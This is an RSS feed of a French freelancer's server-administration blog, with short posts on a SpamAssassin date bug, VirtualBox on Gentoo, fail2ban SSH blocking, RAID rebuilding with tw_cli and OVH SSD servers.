<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oxeron Internet and Mobile Service Sarl &#187; Serveurs Software</title>
	<atom:link href="http://www.oxeron.com/category/serveur_software/feed" rel="self" type="application/rss+xml" />
	<link>http://www.oxeron.com</link>
	<description>Journal d&#039;un freelance au Luxembourg</description>
	<lastBuildDate>Thu, 04 Aug 2011 07:50:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Bug Spamassassin : The date is grossly in the future</title>
		<link>http://www.oxeron.com/2010/01/02/bug-spamassassin-the-date-is-grossly-in-the-future</link>
		<comments>http://www.oxeron.com/2010/01/02/bug-spamassassin-the-date-is-grossly-in-the-future#comments</comments>
		<pubDate>Sat, 02 Jan 2010 21:01:12 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=851</guid>
		<description><![CDATA[Crédit photo: dok1 Voilà un très bon article qui explique l&#8217;origine du bug 2010 de spamassassin et comment le résoudre en attendant une mise à jour prochaine. Pour résumer, la ligne suivante dans votre fichier local.cf devrait résoudre le problème: score FH_DATE_PAST_20XX 0.0]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a title="Spam" href="http://www.flickr.com/photos/51096110@N00/2607573904/" target="_blank"><img src="http://farm4.static.flickr.com/3096/2607573904_74f05e1d75_m.jpg" border="0" alt="Spam" /></a><br />
<small>Crédit photo: <a title="dok1" href="http://www.flickr.com/photos/51096110@N00/2607573904/" target="_blank">dok1</a></small></p>
<p><a href="https://secure.grepular.com/blog/index.php/2010/01/01/spamassassin-2010-bug/" target="_blank">Voilà un très bon article qui explique l&#8217;origine du bug 2010 de spamassassin</a> et comment le résoudre en attendant une mise à jour prochaine.</p>
<p>Pour résumer, la ligne suivante dans votre fichier local.cf devrait résoudre le problème:</p>
<p>score FH_DATE_PAST_20XX 0.0</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2010/01/02/bug-spamassassin-the-date-is-grossly-in-the-future/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La fin d&#8217;un mythe</title>
		<link>http://www.oxeron.com/2009/03/06/la-fin-dun-mythe</link>
		<comments>http://www.oxeron.com/2009/03/06/la-fin-dun-mythe#comments</comments>
		<pubDate>Fri, 06 Mar 2009 06:44:07 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>
		<category><![CDATA[dns]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=635</guid>
		<description><![CDATA[Dan Bernstein a confirmé la présence d&#8217;un bug de sécurité dans son logiciel de serveur DNS djbdns. C&#8217;est la fin d&#8217;un mythe pour beaucoup d&#8217;adeptes Quoique 1 faille en 10 ans, c&#8217;est quand même pas beaucoup&#8230; A voir ici.]]></description>
			<content:encoded><![CDATA[<p>Dan Bernstein a confirmé la présence d&#8217;un bug de sécurité dans son logiciel de serveur DNS <em>djbdns</em>. C&#8217;est la fin d&#8217;un mythe pour beaucoup d&#8217;adeptes <img src='http://www.oxeron.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Quoique 1 faille en 10 ans, c&#8217;est quand même pas beaucoup&#8230;</p>
<p><a href="http://it.slashdot.org/article.pl?sid=09/03/05/2014249">A voir ici</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2009/03/06/la-fin-dun-mythe/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Une belle astuce pour décharger les serveurs MX secondaires</title>
		<link>http://www.oxeron.com/2009/01/05/une-belle-astuce-pour-decharger-les-serveurs-mx-secondaires</link>
		<comments>http://www.oxeron.com/2009/01/05/une-belle-astuce-pour-decharger-les-serveurs-mx-secondaires#comments</comments>
		<pubDate>Mon, 05 Jan 2009 11:13:13 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>
		<category><![CDATA[serveur]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=311</guid>
		<description><![CDATA[Trouvé ce matin chez Julien Wadin, fameux contributeur belge des mailing-lists OVH, cette astuce pour diminuer le nombre de spams envoyés à un serveur MX secondaire. Le piège est tout simple, il suffit d&#8217;ajouter une nouvelle entrée dans vos DNS avec un nouveau serveur MX de priorité très élevée, qui sera un alias vers votre [...]]]></description>
			<content:encoded><![CDATA[<p>Trouvé ce matin chez <a href="http://blog.julienwadin.be" target="_blank">Julien Wadin</a>, fameux contributeur belge des mailing-lists OVH, <a href="http://blog.julienwadin.be/49/ne-pas-surcharger-le-serveur-de-courrier-secondaire/trackback/" target="_blank">cette astuce pour diminuer le nombre de spams envoyés à un serveur MX secondaire</a>. Le piège est tout simple, il suffit d&#8217;ajouter une nouvelle entrée dans vos DNS avec un nouveau serveur MX de priorité très élevée, qui sera un alias vers votre serveur mail principal.</p>
<p>Les spammeurs ont en effet la fâcheuse habitude d&#8217;attaquer en premier les serveurs MX secondaires, souvent moins bien protégés. Ils se retrouveront alors en face de votre serveur mail principal.</p>
<p>Merci Julien.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2009/01/05/une-belle-astuce-pour-decharger-les-serveurs-mx-secondaires/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>De la virtualisation avec VirtualBox sous Gentoo</title>
		<link>http://www.oxeron.com/2008/12/29/de-la-virtualisation-avec-virtualbox-sous-gentoo</link>
		<comments>http://www.oxeron.com/2008/12/29/de-la-virtualisation-avec-virtualbox-sous-gentoo#comments</comments>
		<pubDate>Mon, 29 Dec 2008 20:30:04 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[VirtualBox]]></category>
		<category><![CDATA[virtualisation]]></category>
		<category><![CDATA[xen]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=302</guid>
		<description><![CDATA[Crédit photo: Vin0rz Disposant d&#8217;un vieux serveur P4 n&#8217;ayant pas les facultés de virtualisation, j&#8217;ai essayé VirtualBox de Sun pour déployer des machines virtuelles de test. Il existe un très bon howto à cet endroit. Je n&#8217;ai pas de serveur X installé sur cette machine, et je ne veux pas en installer. L&#8217;avantage de Virtualbox, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align:center"><a title="Xubuntu Feisty dektop in VirtualBox" href="http://www.flickr.com/photos/23854051@N00/416553083/" target="_blank"><img src="http://farm1.static.flickr.com/153/416553083_84ab86d17f_m.jpg" border="0" alt="Xubuntu Feisty dektop in VirtualBox" /></a><br />
<small>Crédit photo: <a title="Vin0rz" href="http://www.flickr.com/photos/23854051@N00/416553083/" target="_blank">Vin0rz</a></small></p>
<p>Disposant d&#8217;un vieux serveur P4 n&#8217;ayant pas les facultés de virtualisation, j&#8217;ai essayé VirtualBox de Sun pour déployer des machines virtuelles de test.</p>
<p>Il existe un très bon <a href="http://fr.gentoo-wiki.com/wiki/VirtualBox">howto à cet endroit</a>. Je n&#8217;ai pas de serveur X installé sur cette machine, et je ne veux pas en installer. L&#8217;avantage de Virtualbox, c&#8217;est qu&#8217;il permet de démarrer une machine virtuelle et de s&#8217;y connecter en Remote Desktop. Vous pouvez très bien mettre en place cette solution sur un serveur hébergé à Paris et faire tourner vous y connecter depuis chez vous (à voir niveau latence ce que ça vaut &#8230;)</p>
<p><code lang="bash"><br />
xen ~ #  emerge -av virtualbox-bin</code></p>
<p>These are the packages that would be merged, in order:</p>
<p>Calculating dependencies&#8230; done!<br />
[ebuild  N    ] x11-misc/util-macros-1.1.5  47 kB<br />
[ebuild  N    ] media-libs/libmng-1.0.10  USE=&nbsp;&raquo;-lcms&nbsp;&raquo; 1,068 kB<br />
[ebuild  N    ] media-libs/libsdl-1.2.13  USE=&nbsp;&raquo;-X -aalib -alsa -arts -custom-cflags -dga -directfb -esd -fbcon -ggi -libcaca -nas -noaudio -nojoystick -novideo -opengl -oss -pulseaudio -svga -xinerama -xv&nbsp;&raquo; 3,295 kB<br />
[ebuild  N    ] virtual/libstdc++-3.3  0 kB<br />
[ebuild  N    ] sys-apps/usermode-utilities-20040406-r1  59 kB<br />
[ebuild  N    ] net-misc/bridge-utils-1.4  32 kB<br />
[ebuild  N    ] app-emulation/virtualbox-modules-1.6.4  193 kB<br />
[ebuild  N    ] x11-proto/xproto-7.0.10  140 kB<br />
[ebuild  N    ] x11-proto/inputproto-1.4.2.1  47 kB<br />
[ebuild  N    ] x11-libs/xtrans-1.0.3  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 101 kB<br />
[ebuild  N    ] x11-proto/kbproto-1.0.3  57 kB<br />
[ebuild  N    ] x11-proto/renderproto-0.9.2  40 kB<br />
[ebuild  N    ] x11-proto/xf86bigfontproto-1.1.2  37 kB<br />
[ebuild  N    ] x11-proto/bigreqsproto-1.0.2  36 kB<br />
[ebuild  N    ] x11-proto/xcmiscproto-1.1.2  36 kB<br />
[ebuild  N    ] x11-proto/fixesproto-4.0  38 kB<br />
[ebuild  N    ] x11-proto/xineramaproto-1.1.2  38 kB<br />
[ebuild  N    ] x11-proto/randrproto-1.2.1  54 kB<br />
[ebuild  N    ] x11-proto/xextproto-7.0.2  67 kB<br />
[ebuild  N    ] x11-libs/libICE-1.0.4  USE=&nbsp;&raquo;-debug -ipv6&#8243; 247 kB<br />
[ebuild  N    ] x11-libs/libXau-1.0.3  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 225 kB<br />
[ebuild  N    ] x11-libs/libXdmcp-1.0.2  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 216 kB<br />
[ebuild  N    ] x11-libs/libX11-1.1.4  USE=&nbsp;&raquo;-debug -ipv6 -xcb&nbsp;&raquo; 1,540 kB<br />
[ebuild  N    ] x11-libs/libSM-1.0.3  USE=&nbsp;&raquo;-debug -ipv6&#8243; 219 kB<br />
[ebuild  N    ] x11-libs/libXext-1.0.3  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 256 kB<br />
[ebuild  N    ] x11-libs/libXrender-0.9.2  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 241 kB<br />
[ebuild  N    ] x11-libs/libXfixes-4.0.3  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 210 kB<br />
[ebuild  N    ] x11-libs/libXt-1.0.5  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 489 kB<br />
[ebuild  N    ] x11-libs/libXft-2.1.12  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 255 kB<br />
[ebuild  N    ] x11-libs/libXcursor-1.1.9  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 230 kB<br />
[ebuild  N    ] x11-libs/libXrandr-1.2.1  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 216 kB<br />
[ebuild  N    ] x11-libs/libXi-1.1.3  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 243 kB<br />
[ebuild  N    ] x11-libs/libXinerama-1.0.2  USE=&nbsp;&raquo;-debug&nbsp;&raquo; 210 kB<br />
[ebuild  N    ] virtual/xft-7.0  0 kB<br />
[ebuild  N    ] x11-libs/qt-3.3.8-r4  USE=&nbsp;&raquo;mysql -cups -debug -doc -examples -firebird -gif -immqt -immqt-bc -ipv6 -nas -nis -odbc -opengl -postgres -sqlite -xinerama&nbsp;&raquo; 16,986 kB<br />
[ebuild  N F  ] app-emulation/virtualbox-bin-1.6.4  USE=&nbsp;&raquo;additions vboxwebsrv headless -sdk&nbsp;&raquo; 21,029 kB</p>
<p>Total: 36 packages (36 new), Size of downloads: 48,180 kB<br />
Fetch Restriction: 1 package (1 unsatisfied)</p>
<p>A la fin de la compilation, il nous est demandé de télécharger le binaire d&#8217;installation directement sur le site de VirtualBox:</p>
<p><code lang="bash"><br />
* Please download the package from:<br />
*<br />
* http://download.virtualbox.org/virtualbox/1.6.4/VirtualBox-1.6.4-Linux_x86.run<br />
*<br />
* and then put it in /usr/portage/distfiles<br />
* Fetch failed for 'app-emulation/virtualbox-bin-1.6.4'<br />
* GNU info directory index is up-to-date.<br />
* IMPORTANT: 4 config files in '/etc' need updating.<br />
* See the CONFIGURATION FILES section of the emerge<br />
* man page to learn how to update config files.<br />
xen ~ # cd /usr/local/src/<br />
xen src # wget http://download.virtualbox.org/virtualbox/1.6.4/VirtualBox-1.6.4-Linux_x86.run<br />
xen src # chmod +x VirtualBox-1.6.4-Linux_x86.run<br />
xen src # ./VirtualBox-1.6.4-Linux_x86.run<br />
Verifying archive integrity... All good.<br />
Uncompressing VirtualBox for Linux installation........<br />
VirtualBox Version 1.6.4 (Tue Jul 29 20:45:09 CEST 2008) installation<br />
Installing VirtualBox to /opt/VirtualBox-1.6.4<br />
Building the VirtualBox kernel module</code></p>
<p>VirtualBox has been installed successfully.</p>
<p>You will find useful information about using VirtualBox in the user manual<br />
/opt/VirtualBox-1.6.4/UserManual.pdf<br />
and in the user FAQ</p>
<p>http://www.virtualbox.org/wiki/User_FAQ</p>
<p>We hope that you enjoy using VirtualBox.</p>
<p>Il suffit ensuite <a href="http://www.howtoforge.com/vboxheadless-running-virtual-machines-with-virtualbox-2.0-on-a-headless-ubuntu-8.04-server">de suivre ce tutorial</a> pour créer une Machine virtuelle à partir d&#8217;une ISO d&#8217;ubuntu server par exemple (256M de mémoire et 10G d&#8217;espace disque)</p>
<p><code lang="bash"><br />
xen ~ # modprobe vboxdrv<br />
xen ~ # VBoxManage createvm -name "Ubuntu 8.10 Server" -register<br />
xen ~ # VBoxManage modifyvm "Ubuntu 8.10 Server" -memory "256MB" -acpi on -boot1 dvd -nic1 nat<br />
xen ~ # VBoxManage createvdi -filename "Ubuntu_8_10_Server.vdi" -size 10000 -register<br />
xen ~ # VBoxManage modifyvm "Ubuntu 8.10 Server" -hda "Ubuntu_8_10_Server.vdi"<br />
xen ~ # VBoxManage registerimage dvd /home/ubuntu-8.10-server-i386.iso<br />
xen ~ # VBoxManage modifyvm "Ubuntu 8.10 Server" -dvd /home/ubuntu-8.10-server-i386.iso<br />
xen ~ # VBoxHeadless -startvm "Ubuntu 8.10 Server"<br />
xen ~ # VirtualBox Headless Interface 1.6.4<br />
(C) 2008 Sun Microsystems, Inc.<br />
All rights reserved</code></p>
<p>Listening on port 3389</p>
<p>J&#8217;ai été confronté à un plantage de VBoxHeadless avec les sécurités PAX activées dans le kernel. Je les ai donc enlevées du noyau, il faut dans ce cas relancer le script d&#8217;installation de VirtualBox pour qu&#8217;il régénère un module pour le nouveau noyau.</p>
<p>Pour se connecter à la Machine Virtuelle, le RDC de Microsoft pour macosx ne semble pas fonctionner (les logs de connexions se trouvent dans /root/.VirtualBox/Machines/Ubuntu 8.10 Server/Logs si vous avez utilisé le compte root jusqu&#8217;à présent).</p>
<p><code lang="bash"><br />
00:02:46.807 VRDP: Logoff:  () build 0. User: [] Domain: [] Reason 0xFFFFFFFF.<br />
00:02:48.627 VRDP: New connection:<br />
00:02:48.685 VRDP: Flags 0x0000001b<br />
00:02:48.685 VRDP: Channel: [rdpdr] [1004]. Not supported.<br />
00:02:48.685 VRDP: Channel: [rdpsnd] [1005]. Accepted.<br />
00:02:48.685 VRDP: Channel: [cliprdr] [1006]. Accepted.<br />
00:02:48.756 VRDP: Failed to process incoming RDP packet: VERR_VRDP_PROTOCOL_ERROR!!!<br />
00:02:48.756 VRDP: The RDP packet content (read):<br />
</code></p>
<p>En utilisant le Remote Desktop de la version Windows, aucun problème. J&#8217;avoue ne pas avoir cherché beaucoup pour résoudre ce problème, peut-être <a href="http://www.virtualbox.org/ticket/932">ce message </a>vous y aidera.</p>
<p>D&#8217;après mes premiers tests, je trouve cette solution très rapide à la fois à mettre en place, et également durant son fonctionnement. Lors de la mise à jour du système client, le cpu hôte n&#8217;est utilisé qu&#8217;à 1%, la mémoire à 20-30%. Pas mal du tout, reste à créer une Machine Virtuelle sous Gentoo pour voir.</p>
<p>Et vous, c&#8217;est lequel votre préféré ? Xen ? VMWare ? VirtualBox ?</p>
<p>PS: oui ma machine VirtualBox s&#8217;appelle Xen, et alors ? <img src='http://www.oxeron.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Edit: pour que Ubuntu Server accepte de booter sous VirtualBox, il faut demander à ce dernier d&#8217;activer le support PAE:</p>
<p><code lang="bash"><br />
xen ~ # VBoxManage modifyvm "Ubuntu 8.04 Server" -pae on<br />
</code></p>
<p>Edit 2 : aussitôt dit, aussitôt fait, pour installer Gentoo 2008 comme système client, il suffit d&#8217;utiliser les mêmes lignes que précédemment en modifiant juste celle-ci:</p>
<p><code lang="bash"><br />
xen Logs # VBoxManage modifyvm "Gentoo 2008" -memory "256MB" -acpi on -boot1 dvd -nic1 nat -ioapic off<br />
</code></p>
<p>puis de démarrer une deuxième instance de VirtualBox sur un autre port:</p>
<p><code lang="bash"><br />
xen Logs #  VBoxHeadless -startvm "Gentoo 2008" -p 3390<br />
xen Logs # VirtualBox Headless Interface 1.6.4<br />
(C) 2008 Sun Microsystems, Inc.<br />
All rights reserved</code></p>
<p>Listening on port 3390</p>
<p>Il y a <a href="http://www.softerblue.com/?p=15">un très bon guide ici</a> pour notamment les options du kernel à choisir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/12/29/de-la-virtualisation-avec-virtualbox-sous-gentoo/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bloquer les tentatives de connexion SSH avec fail2ban</title>
		<link>http://www.oxeron.com/2008/12/09/bloquer-les-tentatives-de-connexion-ssh-avec-fail2ban</link>
		<comments>http://www.oxeron.com/2008/12/09/bloquer-les-tentatives-de-connexion-ssh-avec-fail2ban#comments</comments>
		<pubDate>Tue, 09 Dec 2008 14:51:09 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[fail2ban]]></category>
		<category><![CDATA[invalid user]]></category>
		<category><![CDATA[iptables]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=292</guid>
		<description><![CDATA[J&#8217;ai décidé d&#8217;installer ce matin sur tous mes serveurs et ceux de mes clients le script python fail2ban fourni par portage sur Gentoo (la dernière version stable du développeur est masquée il s&#8217;agit de la version net-analyzer/fail2ban-0.8.3) Ce script analyse vos fichiers de logs et ajoute des règles dans votre firewall applicatif iptables pour bloquer [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;ai décidé d&#8217;installer ce matin sur tous mes serveurs et ceux de mes clients le script python fail2ban fourni par portage sur Gentoo (la dernière version stable du développeur est masquée il s&#8217;agit de la version net-analyzer/fail2ban-0.8.3)</p>
<p>Ce script analyse vos fichiers de logs et ajoute des règles dans votre firewall applicatif iptables pour bloquer les tentatives d&#8217;accès par ssh, apache, les requêtes DNS trop nombreuses, etc&#8230;</p>
<p>Voici un exemple de pollution récurrente:<br />
<code>Dec  9 10:03:28 server sshd[27836]: Invalid user ishihara from 121.134.8.168<br />
Dec  9 10:03:30 server sshd[27842]: Invalid user hfujioka from 121.134.8.168<br />
Dec  9 10:03:33 server sshd[27848]: Invalid user minami from 121.134.8.168<br />
Dec  9 10:03:35 server sshd[27856]: Invalid user togashi from 121.134.8.168<br />
Dec  9 10:03:37 server sshd[27865]: Invalid user nshino from 121.134.8.168<br />
Dec  9 10:03:40 server sshd[27870]: Invalid user wataru from 121.134.8.168<br />
Dec  9 10:03:42 server sshd[27875]: Invalid user yhashi from 121.134.8.168<br />
Dec  9 10:03:44 server sshd[27883]: Invalid user gai from 121.134.8.168<br />
Dec  9 10:03:46 server sshd[27888]: Invalid user sudomine from 121.134.8.168<br />
Dec  9 10:03:49 server sshd[27893]: Invalid user tsutomu from 121.134.8.168<br />
Dec  9 10:03:51 server sshd[27898]: Invalid user naoto from 121.134.8.168<br />
Dec  9 10:03:53 server sshd[27903]: Invalid user shimizu from 121.134.8.168<br />
Dec  9 10:03:56 server sshd[27908]: Invalid user yokoyama from 121.134.8.168<br />
Dec  9 10:03:58 server sshd[27913]: Invalid user koki from 121.134.8.168<br />
Dec  9 10:04:00 server sshd[27918]: Invalid user masashi from 121.134.8.168<br />
Dec  9 10:04:02 server sshd[27923]: Invalid user tomonari from 121.134.8.168<br />
Dec  9 10:04:05 server sshd[27933]: Invalid user higashi from 121.134.8.168<br />
Dec  9 10:04:07 server sshd[27938]: Invalid user ryotaro from 121.134.8.168<br />
Dec  9 10:04:09 server sshd[27943]: Invalid user mashima from 121.134.8.168<br />
Dec  9 10:04:12 server sshd[27948]: Invalid user shuu from 121.134.8.168<br />
Dec  9 10:04:14 server sshd[27953]: Invalid user oono from 121.134.8.168<br />
Dec  9 10:04:16 server sshd[27958]: Invalid user oliver from 121.134.8.168<br />
Dec  9 10:04:18 server sshd[27963]: Invalid user toyoc from 121.134.8.168</code> </p>
<p>Il faut bien sur avoir au préalable installé iptables et le module dans le kernel qui va bien.</p>
<p>Après la traditionnelle phase de compilation du soft, il suffit de modifier les fichiers de configuration fournis qui par défaut ne font rien, ou du moins pas grand chose.</p>
<p>Commencez par whitelister votre(vos) ip(s) dans le fichier /etc/fail2ban/jail.conf histoire de ne passe retrouver bêtement coincé suite à une mauvaise configuration:</p>
<p><code>ignoreip = 127.0.0.1 xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy</code></p>
<p>Réglez ensuite les 3 paramètres qui permettent de définir qu&#8217;une tentative de connexion doit être détectée comme malveillante:<br />
<code># "bantime" is the number of seconds that a host is banned.<br />
bantime  = 6000<br />
# A host is banned if it has generated "maxretry" during the last "findtime"<br />
# seconds.<br />
findtime  = 600<br />
# "maxretry" is the number of failures before a host get banned.<br />
maxretry = 3<br />
</code></p>
<p>Puis vous pourrez utiliser les modules de détection déjà fournis, les modifier ou créer les vôtres. Par défaut sous Gentoo, les tentatives d&#8217;accès SSH sont loggés dans /var/log/messages, j&#8217;ai donc modifile le logpath correspondant:<br />
<code>[ssh-iptables]<br />
enabled  = true<br />
filter   = sshd<br />
action   = iptables[name=SSH, port=ssh, protocol=tcp]<br />
           sendmail-whois[name=SSH, dest=olivier@oxeron.com, sender=fail2ban-server@oxeron.com]<br />
logpath  = /var/log/messages<br />
maxretry = 3<br />
</code></p>
<p>Et voilà, en 2 heures, environ 50 ips bloquées sur l&#8217;ensemble de mes machines.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/12/09/bloquer-les-tentatives-de-connexion-ssh-avec-fail2ban/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Réparer un raid hardware DEGRADED avec tw_cli</title>
		<link>http://www.oxeron.com/2008/11/15/reparer-un-raid-hardware-degraded-avec-tw_cli</link>
		<comments>http://www.oxeron.com/2008/11/15/reparer-un-raid-hardware-degraded-avec-tw_cli#comments</comments>
		<pubDate>Sat, 15 Nov 2008 15:20:55 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>
		<category><![CDATA[Shell]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=238</guid>
		<description><![CDATA[Un ptit memo pour réutilisation future éventuelle server bin # ./tw_cli info c0 u0 Unit UnitType Status %RCmpl %V/I/M Port Stripe Size(GB) ------------------------------------------------------------------------ u0 RAID-1 DEGRADED - - - - 232.885 u0-0 DISK DEGRADED - - p0 - 232.885 u0-1 DISK OK - - p1 - 232.885 server bin # ./tw_cli maint remove c0 p0 [...]]]></description>
			<content:encoded><![CDATA[<p>Un ptit memo pour réutilisation future éventuelle <img src='http://www.oxeron.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><code lang="bash"><br />
server bin # ./tw_cli info c0 u0</p>
<p>Unit     UnitType  Status         %RCmpl  %V/I/M  Port  Stripe  Size(GB)<br />
------------------------------------------------------------------------<br />
u0       RAID-1    DEGRADED       -       -       -     -       232.885<br />
u0-0     DISK      DEGRADED       -       -       p0    -       232.885<br />
u0-1     DISK      OK             -       -       p1    -       232.885  </p>
<p>server bin # ./tw_cli maint remove c0 p0<br />
Removing port /c0/p0 ... Done.</p>
<p>server bin # ./tw_cli maint rescan<br />
Rescanning controller /c0 for units and drives ...Done.<br />
Found the following unit(s): [none].<br />
Found the following drive(s): [/c0/p0].</p>
<p>server bin # ./tw_cli info c0</p>
<p>Unit  UnitType  Status         %RCmpl  %V/I/M  Stripe  Size(GB)  Cache  AVrfy<br />
------------------------------------------------------------------------------<br />
u0    RAID-1    DEGRADED       -       -       -       232.885   ON     -      </p>
<p>Port   Status           Unit   Size        Blocks        Serial<br />
---------------------------------------------------------------<br />
p0     OK               -      232.88 GB   488397168     GEL231RB07BB9B<br />
p1     OK               u0     232.88 GB   488397168     GEL231RB05N20B   </p>
<p>server bin # ./tw_cli info c0 u0</p>
<p>Unit     UnitType  Status         %RCmpl  %V/I/M  Port  Stripe  Size(GB)<br />
------------------------------------------------------------------------<br />
u0       RAID-1    DEGRADED       -       -       -     -       232.885<br />
u0-0     DISK      DEGRADED       -       -       -     -       232.885<br />
u0-1     DISK      OK             -       -       p1    -       232.885 </p>
<p>server bin # ./tw_cli maint rebuild c0 u0 p0<br />
Sending rebuild start request to /c0/u0 on 1 disk(s) [0] ... Done.</p>
<p>server bin # ./tw_cli info c0 </p>
<p>Unit  UnitType  Status         %RCmpl  %V/I/M  Stripe  Size(GB)  Cache  AVrfy<br />
------------------------------------------------------------------------------<br />
u0    RAID-1    REBUILDING     0       -       -       232.885   ON     -      </p>
<p>Port   Status           Unit   Size        Blocks        Serial<br />
---------------------------------------------------------------<br />
p0     DEGRADED         u0     232.88 GB   488397168     GEL231RB07BB9B<br />
p1     OK               u0     232.88 GB   488397168     GEL231RB05N20B </p>
<p>server bin #  ./tw_cli info c0 u0</p>
<p>Unit     UnitType  Status         %RCmpl  %V/I/M  Port  Stripe  Size(GB)<br />
------------------------------------------------------------------------<br />
u0       RAID-1    REBUILDING     0       -       -     -       232.885<br />
u0-0     DISK      DEGRADED       -       -       p0    -       232.885<br />
u0-1     DISK      OK             -       -       p1    -       232.885 </p>
<p>server bin # ./tw_cli info c0 u0</p>
<p>Unit     UnitType  Status         %RCmpl  %V/I/M  Port  Stripe  Size(GB)<br />
------------------------------------------------------------------------<br />
u0       RAID-1    REBUILDING     6       -       -     -       232.885<br />
u0-0     DISK      DEGRADED       -       -       p0    -       232.885<br />
u0-1     DISK      OK             -       -       p1    -       232.885<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/11/15/reparer-un-raid-hardware-degraded-avec-tw_cli/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OVH lance le serveur SSD</title>
		<link>http://www.oxeron.com/2008/10/17/ovh-lance-le-serveur-ssd</link>
		<comments>http://www.oxeron.com/2008/10/17/ovh-lance-le-serveur-ssd#comments</comments>
		<pubDate>Fri, 17 Oct 2008 05:47:27 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>
		<category><![CDATA[ovh]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ssd]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/?p=198</guid>
		<description><![CDATA[OVH a annoncé hier soir la mise en location de serveurs à disques SSD, s&#8217;appuyant sur la gamme X25-M d&#8217;Intel, reconnue comme étant très performante (voir ce test de débit de tom&#8217;s hardware en lecture et écriture et cet article de MatBe) Les disques sont pour le moment limités à 80Go mais ce n&#8217;est qu&#8217;un début. [...]]]></description>
			<content:encoded><![CDATA[<p>OVH a annoncé hier soir la mise en location de serveurs à disques SSD, s&#8217;appuyant sur la gamme X25-M d&#8217;Intel, reconnue comme étant très performante (voir ce <a href="http://www.tomshardware.com/reviews/Intel-x25-m-SSD,2012-8.html" target="_blank">test de débit de tom&#8217;s hardware en lecture et écriture</a> et <a href="http://www.matbe.com/articles/lire/1001/ssd-intel-x25-m-80-go-une-bombe/page1.php" target="_blank">cet article de MatBe</a>)</p>
<p>Les disques sont pour le moment limités à 80Go mais ce n&#8217;est qu&#8217;un début.</p>
<p>Voici les deux premières offres de cette nouvelle gamme:</p>
<p>EG SSD</p>
<p>&#8212;&#8212;<br />
- 1 Intel Xeon X3360, 4&#215;2.83GHz, 12Mo L2, FSB 1333MHz, 45nm<br />
- 8Go de RAM<br />
- disques SSD 2x80Go en RAID-1 Hard X25-M<br />
- le réseau de 1Gbps<br />
- avec 24 IP fail-over<br />
à 199Euro HT/mois<br />
En savoir plus: http://www.ovh.com/fr/particulier/produits/eg_ssd.xml</p>
<p>MG SSD<br />
&#8212;&#8212;<br />
- 2 Intel Xeon E5405, 2x 4&#215;2.00GHz, 12Mo L2 FSB 1333MHz, 45nm<br />
- 8Go de RAM<br />
- disques SSD 2x80Go en RAID-1 Hard X25-M<br />
- le réseau de 1Gbps<br />
- avec 40 IP fail-over<br />
à 249Euro HT/mois<br />
En savoir plus: http://www.ovh.com/fr/particulier/produits/mg_ssd.xml</p>
